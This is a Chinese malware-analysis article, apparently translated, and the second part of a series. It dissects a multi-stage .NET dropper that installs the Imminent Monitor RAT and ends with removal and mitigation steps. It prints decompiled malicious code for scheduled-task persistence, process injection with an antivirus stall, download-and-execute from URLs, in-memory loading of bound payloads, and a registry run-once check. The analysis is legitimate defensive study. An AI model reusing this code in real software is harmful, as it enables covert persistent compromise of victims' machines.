对DOTNET(.NET)中的恶意远程访问进程进行分析(下)

luochicun Web安全 2018年11月27日发布
Favorite收藏

导语:DOTNET就是.NET, 严格说是:.Net Framework框架 。在本文中,我们会对DOTNET(.NET)中的恶意远程访问工具进行分析。

上一篇提到代码会有很多重复,因为它在每个if语句(共有五个if语句,会在下篇讲到)中都会调用一个函数。然而,细节却略有不同,其中给定的方法名称和函数的参数都会显示函数的内容。

第一个if语句在程序集中调用了一个名为okapise的函数,它提供了当前程序的位置、两个名称和一个设置为false的布尔值。据此判断,它可能会执行一个具有给定名称的文件。

第二个if语句会调用一个名为Inj的函数以及字节数组assemblyPart1、两个字符串、三个布尔值以及传递给该程序的参数。由于Inj在许多情况下是Inject的缩写,因此二进制文件可能会在一个进程中自我注入。

第三个if语句会将一个名为mb的函数与四个字符串一起调用,由于在MessageBox(消息框)中使用了术语body,title,warning和messageonce,mb可能是MessageBox(消息框)的简写。

第四个if语句调用一个名为d的函数,该函数使用内容dl和字符串作为参数。在检测dl内容时, dl通常是下载的简写,根据这个判断,该函数很可能是一个下载文件。 dl内容的一部分是经过加密的URL,如下所示。

http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0<5*22033-core-vpn-predeploy-k9,ogiTpasenci

第五个if语句会调用一个名为zalepen的函数,该函数使用内容绑定和一个字符串。由于没有可用于检测的内容,因此很难确定这个函数到底是做什么的。另外,该名称也没有提供什么实质性信息。如果字符串中包含单词bind,则意味着恶意软件可能会将自己绑定到某个运行函数上。不过,这只是猜测,库中的函数很可能提供有更多的信息。

虽然靠估计和猜测,会得出一些有价值的信息,但必定都不确定。可以肯定的是,必须对这些内容进行检测,不过这些内容在执行之前既没有被写入磁盘,而且还在执行之前已经加密了。为了解决这个问题,可以随时修改代码并停止执行。以下代码片段可用于将解密后的内容写入磁盘。

[...]
File.WriteAllBytes("assemblyPart1.exe", decrypt(Encoding.Default.GetBytes(splitAsset[0]), input, key));
File.WriteAllBytes("assemblyPart2.dll", decrypt(Encoding.Default.GetBytes(splitAsset[1]), input, key));
Environment.Exit(0);
foreach (Type type in assemblyPart2.GetTypes())
{
	[...]
}
[...]

小结

加载程序——第1阶段类似,对这个阶段做个小结也非常有必要,因为存储在库中的函数在dropper的第二阶段中被调用。虽然参数位于第二阶段,而代码则在dropper的第三阶段执行:

1.根据运行环境的不同,程序的执行要么停止,要么继续;

2.将设置标记,这些标记稍后将定义在库中所执行的函数;

3.这两个参数都加载到内存中;

4.根据标记的不同,库中的给定方法会使用定义的参数执行;

加载程序——第3阶段(第1部分)

根据dnSpy,程序assemblyPart1.exe最初被命名为svchost.exe(版本0.0.0.0),其入口点为71395ebe-8ca7-4156-9647-3b87a2912a86.Method0。这个二进制文件使用了很长且没有意义的字符串进行模糊化处理,具体内容如下所示。

public static void Method0()
{
	AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(cf0a078b-f0ab-4eac-a4a1-af0a05e21cf0.0fc1c616-c282-4b8b-b753-5af00039107a.Method1);
	3a3a116e-84a5-4bfc-8f21-21fbc4cece2d 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d = new 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d();
	3a3a116e-84a5-4bfc-8f21-21fbc4cece2d.Method1();
}

在浏览文件时,可以看到一个我们可读的附加命名空间:Imminent-Monitor-Client-Watermark。它还包含一个恶意使用的消息,可以在下面找到。

// Imminent-Monitor-Client-Watermark
// 
// Types:
// 
// Please-contact-abuse@imminentmethods.net-with-the-hardware-id:-"49383d68b77c97e45701895564914fd5"-and-company-name:-"NA"-if-this-assembly-was-found-being-used-maliciously-.-This-file-was-built-using-Invisible-Mode

在访问Imminent Method网站时,可以清楚地了解到这种有效载荷的目的就是实施远程管理。在执行这个准备好的二进制文件后,可以在Imminent Method软件的控制面板中访问受害者的设备,这是RAT的核心功能。

加载程序——第3阶段(第2部分)

用dnSpy打开assemblyPart2.dll后,可以很明显看到,它是一个动态链接库(原始名称为graznataguz.dll,版本1.1.0.0),其中含有两个类。首先,可以观察到空的内部类模块。此外,还有一个名为RunLib的类,它的名称与第2阶段中选择的on相同。使用if语句和库中的函数,可以开始根据实际环境匹配所做的假设。

okapise

在第一个if语句中,函数okapise与四个参数一起被调用,反编译的函数如下所示。

public static void okapise(string location, string filename, string value, bool hide)
{
	Directory.CreateDirectory(Environment.GetFolderPath(26) + "\\" + value);
	string text = string.Concat(new string[]
	{
		Environment.GetFolderPath(26),
		"\\",
		value,
		"\\",
		filename
	});
	string text2 = string.Concat(new string[]
	{
		Environment.GetFolderPath(26),
		"\\",
		value,
		"\\",
		RunLib.RndString(5),
		".xml"
	});
	string name = WindowsIdentity.GetCurrent().Name;
	string text3 = Resources.TE;
	if (!(location == text))
	{
		File.Copy(location, text, true);
	}
	bool flag = (File.GetAttributes(location) & 2) == 2;
	if (hide && !flag)
	{
		File.SetAttributes(text, File.GetAttributes(text) | 2);
	}
	text3 = text3.Replace("[USERID]", name).Replace("[LOCATION]", text);
	File.WriteAllText(text2, text3);
	Process.Start(new ProcessStartInfo("schtasks.exe", string.Concat(new string[]
	{
		"/Create /TN \"" + value + "\\",
		value,
		"\" /XML \"",
		text2,
		"\""
	}))
	{
		WindowStyle = 1
	}).WaitForExit();
	File.Delete(text2);
}

整数26就是枚举值System.Environment.SpecialFolder.ApplicationData,详情请点此,反编译函数RndString如下所示。

private static string RndString(int Length)
{
	string text = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_1234567890";
	string text2 = "a";
	for (int i = 0; i < Length; i++)
	{
		text2 += text.get_Chars(new Random().Next(0, text.Length)).ToString();
	}
	return text2;
}

这个函数会根据含有字母和数字的字母表(上下框都有)和下划线返回一个具有给定长度的字符串,最后,在okapise函数中使用了名为TE的内容。XML表的内容如下所示:

<?xml version="1.0" encoding="UTF-16"?><Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2014-10-25T14:27:44.8929027</Date>
    <Author>[USERID]</Author>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
      <UserId>[USERID]</UserId>
    </LogonTrigger>
    <RegistrationTrigger>
      <Enabled>false</Enabled>
    </RegistrationTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>[USERID]</UserId>
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>[LOCATION]</Command>
    </Exec>
  </Actions></Task>

函数okapise需要一个位置、文件名、值和一个布尔值来决定它是否应该保持隐藏状态。在ApplicationData文件夹中,使用其中的内容创建一个新文件作为模板。在模板中,[USERID]和[LOCATION]标签将替换为当前用户的名称和OXPZYZ.exe的位置(因为参数中给出了这个字符串)。

使用schtasks.exe(Windows定时任务,安排命令和程序定期运行或在指定时间内运行。从计划表中添加和删除任务,按需要启动和停止任务,显示和更改计划任务。),它会在用户登录时创建一个新任务来启动OXPZYZ.exe。这部分恶意软件会保留最终的有效载荷,且命名为OXPZYZ.exe。

Inj函数

Inj函数需要多个参数,例如内容、名称、持久性布尔值、提升权限布尔值、关键进程布尔值、启动字符串和其他参数。反编译代码如下所示:

21.png22.png

23.png

首先,该函数会检测Avast或AVG当前是否处于活动状态。如果是这样,它会等待25秒再继续。由于所有执行进程都发生在内存中,因此可以放心的假设程序不再位于模拟器中。无论如何,睡眠时间是不会逃脱杀毒软件检测的,因为它们是在事件发生时触发的。接下来,针对.NET检测给定的字节数组。如果.Net Framework可以加载库,则它就是一个.NET库并位置被保存。如果提供的name参数就是自身,也是如此。如果name参数包含字符串default,则使用默认浏览器。默认浏览器来自于注册表,如下面的反编译代码所示。

public static string defBrowser()
{
	string result;
	try
	{
		RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.html\\UserChoice");
		result = Registry.ClassesRoot.OpenSubKey(registryKey.GetValue("ProgId") + "\\shell\\open\\command").GetValue(null).ToString().Split(new char[]
		{
			'"'
		})[1];
	}
	catch
	{
		result = "svchost";
	}
	return result;
}

在任何其他情况下,都假定有一个本机库,并使用.Net Framework或服务主机(svchost.exe)执行。如果名为svcchost的进程已经运行,则库会尝试终止该进程,具体过程如下面的反编译代码所示,其中多余的c似乎是攻击者的拼写错误。

private static void CheckRunning(string name)
{
	foreach (Process process in Process.GetProcesses())
	{
		if (process.ProcessName.Contains(name) && process.StartInfo.FileName == Path.GetTempPath() + name + ".exe")
		{
			try
			{
				process.Kill();
			}
			catch
			{
			}
		}
	}

如果使用提供的参数(例如不同的文件名),则进程行为可能会稍微改变。在本文的示例中,情况并非如此,因为给定的参数本身已指定了具体的行为。给定的文件名是OXPZYZ.exe,类似于之前分析过的persistance函数中的字符串。

 message box函数

 message box(mb)需要多个参数,文本、标头、图标,下面给出了库中反编译的代码。

public static void mb(string text, string caption, string icon, string once)
{
	if (!RunLib.checkreg(once))
	{
		MessageBoxIcon messageBoxIcon = 0;
		string text2 = icon.ToLower();
		if (!(text2 == "hand"))
		{
			if (!(text2 == "warning"))
			{
				if (text2 == "asterisk")
				{
					messageBoxIcon = 64;
				}
			}
			else
			{
				messageBoxIcon = 48;
			}
		}
		else
		{
			messageBoxIcon = 16;
		}
		MessageBox.Show(Encoding.UTF8.GetString(Convert.FromBase64String(text)), Encoding.UTF8.GetString(Convert.FromBase64String(caption)), 0, messageBoxIcon);
	}
}

文本和标头是在mb函数中解码的,因此它们应该是base64编码。但实际上,给定的参数都不是base64编码的。在第二阶段dropper中将flag4更改为true,而将其他更改为false,可以看到由于给定的try-catch结构而弹出false。此错误让我们再次确认了以下事实,即所使用的字符串不是base64编码的,也不是在调用库之前以某种方式更改的。

函数d

函数d会下载并执行给定的二进制文件,在第二阶段加载程序中,通过解码内容来获得输出的加密内容,它是一个部分可读的URL,如下所示。

http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0<5*22033-core-vpn-predeploy-k9,ogiTpasenci

使用下面的代码,可以显示带有解码内容的消息框,这是为了确保之后退出程序,以避免意外执行有效载荷。

string output = Encoding.Default.GetString(MainClass.decrypt(Properties.Resources.dl, input, key));MessageBox.Show(output);Environment.Exit(0);

输出的是一个VPN安装程序的链接,该安装程序托管在根特大学(位于比利时)的网站上,具体链接如下所示。

http://helpdesk.ugent.be/vpn/download/anyconnect-win-4.5.02033-core-vpn-predeploy-k9.msiPrasenci

除了url之外,库中的函数还需要一个额外的参数——字符串Z,下面给出了来自库的反编译函数d。

public static void d(string original, string once){
	WebClient webClient = new WebClient();
	string[] array = Regex.Split(original, "Prasenci");
	if (!RunLib.checkreg(once))
	{
		foreach (string text in array)
		{
			if (!string.IsNullOrEmpty(text))
			{
				try
				{
					string[] array3 = text.Split(new char[]
					{
						'/'
					});
					string text2 = Path.GetTempPath() + array3[array3.Length - 1];
					webClient.DownloadFile(text, text2);
					Process.Start(text2);
				}
				catch
				{
				}
			}
		}
	}}

附加的字符串Prasenci用作分配器,只保留URL。这可以用于逃脱那些基于包含可执行文件的地址的检测软件。

字符串Z只在checkreg函数中被使用,具体分析如下。在进行checkreg函数分析之前,将分析下载函数的其余部分。 url的最后一部分(最后一个斜杠后面的部分)用作文件名,Web客户端将从给定的URL下载文件,将其保存在系统的临时文件夹中并执行它。

public static bool checkreg(string name){
	bool result;
	try
	{
		if (string.IsNullOrEmpty(name))
		{
			result = false;
		}
		else if (Registry.CurrentUser.OpenSubKey(name) == null)
		{
			RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(name);
			registryKey.SetValue("Serial", name);
			registryKey.Close();
			result = false;
		}
		else
		{
			result = true;
		}
	}
	catch
	{
		result = false;
	}
	return result;}

如果已存在名称为Z的注册表项,则表示远程恶意执行软件已在系统上注册。因此,不需要再次执行相同的函数。这样做的目的是,降低被杀毒软件捕获的概率。

zalepen

在第二阶段加载程序中,使用两个参数调用zalepen方法:绑定内容(bind asset)和字符串。与messagebox函数类似,字符串由括号括起来,且字母全部大写。

库中的zalepen函数代码如下所示:

public static void zalepen(byte[] fullbytes, string once)
{
	string[] array = Regex.Split(Encoding.Default.GetString(fullbytes), "smazan");
	if (!RunLib.checkreg(once))
	{
		for (int i = 0; i < array.Length; i++)
		{
			if (array[i] != "")
			{
				string[] array2 = Regex.Split(array[i], "seremise");
				byte[] bytes = Encoding.Default.GetBytes(array2[0]);
				if (RunLib.isDotNet(bytes))
				{
					RunLib.RunNt(bytes);
				}
				else
				{
					string text = Path.GetTempPath() + array2[1];
					try
					{
						File.WriteAllBytes(text, bytes);
						Process.Start(text);
					}
					catch
					{
					}
				}
			}
		}
	}
}

使用字符串smazan拆分提供的字节数组,使用checkreg函数,可以检测名称下是否存在注册表项。对于数组中的每个值,都会创建一个新数组。这个新数组基于一个新的拆分字符串:seremise,且仅使用此新数组的第一项(在索引0处)。如果库是.NET库,则启动它。如果失败,则将其作为本机库加载。如果它不是库,则它作为进程启动。isDotNet和RunNt函数的代码如下所示:

public static bool isDotNet(byte[] bytesdotnet){
	bool result;
	try
	{
		Assembly.Load(bytesdotnet);
		result = true;
	}
	catch (Exception)
	{
		result = false;
	}
	return result;}
public static int RunNt(byte[] datatorun){
	int result;
	try
	{
		Thread thread = new Thread(new ParameterizedThreadStart(RunLib.RunNet));
		thread.SetApartmentState(0);
		thread.Start(datatorun);
		result = Process.GetCurrentProcess().Id;
	}
	catch (Exception)
	{
		RunLib.native = true;
		result = RunLib.Run(datatorun, Assembly.GetCallingAssembly().Location);
	}
	return result;}

总结

恶意远程攻击分为多个阶段,且各个阶段都有不同的功能。这些阶段的简要总结如下,最后,我们将给出从系统中删除此恶意远程攻击的方法。

第一阶段

刚开始执行后,包装器组件将会被删除。此阶段的目的是用来逃避杀毒软件的,因为它可以在不影响其他恶意软件的情况下,根据实际需要进行大量更改。具体的过程,就是使用不同的函数和不同的技术,且不同环境下,调用图、流程图和签名都将有所不同,而其余的恶意软件都将保持不变。

第二阶段

此阶段就是对恶意远程攻击的有效载荷(阶段3的第1部分)和库(阶段3的第2部分)进行封装。攻击者会根据不同的配置,执行不同的代码。这个包装器也相对容易更改,因为它只是调用库中的函数。拆分有效载荷的一部分(例如RAT组件和持久性,它们位于不同的内容中)也避免了防病毒检测,因为只有在第二阶段dropper的配置允许的情况下,才会加载并执行RAT病毒检测。否则,它仍然是加密的。

第3阶段的第1部分

恶意远程攻击有效载荷也是一种合法使用的程序,这样杀毒软件更难以检测其使用方式。

第3阶段的第2部分

该库包含许多函数,只要保留相同的参数,就可以更改它们。这样,可以使多个库具有相同的函数,但使用不同的代码来执行操作,这将使恶意软件更具隐蔽性。

恶意软件的缓解措施

要删除这种恶意软件,只需删除该任务并从ApplicationData文件夹中删除该文件。即使删除任务,足以避免被攻击,但我们还是建议最好还是删除所有内容。

如果要对系统做安全预防措施,可以创建给定的注册表项。由于库中的checkreg函数(阶段3的第2部分)在注册表项存在时,攻击者是不会启动恶意进程的。

本文翻译自:https://maxkersten.nl/binary-analysis-course/malware-analysis/dot-net-rat/如若转载,请注明原文地址: http://www.4hou.com/web/14599.html
点赞 5
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论